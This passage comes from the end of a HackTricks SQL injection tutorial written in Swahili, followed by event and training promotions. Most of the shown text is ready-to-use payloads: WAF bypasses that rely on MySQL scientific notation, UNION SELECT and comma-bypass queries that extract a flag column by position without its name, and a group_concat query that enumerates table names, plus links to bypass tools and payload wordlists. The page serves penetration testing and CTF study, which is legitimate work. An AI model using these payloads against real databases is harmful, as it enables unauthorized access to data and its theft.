WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Scientific Notation WAF bypass
|
||
|
||
Unaweza kupata maelezo zaidi kuhusu hila hii katika [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Bypass Column Names Restriction
|
||
|
||
Kwanza kabisa, zingatia kwamba ikiwa **swali la asili na jedwali ambalo unataka kutoa bendera kutoka lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
|
||
|
||
Inawezekana **kufikia safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia swali kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Au kutumia **comma bypass**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### WAF bypass suggester tools
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Other Guides
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Brute-Force Detection List
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|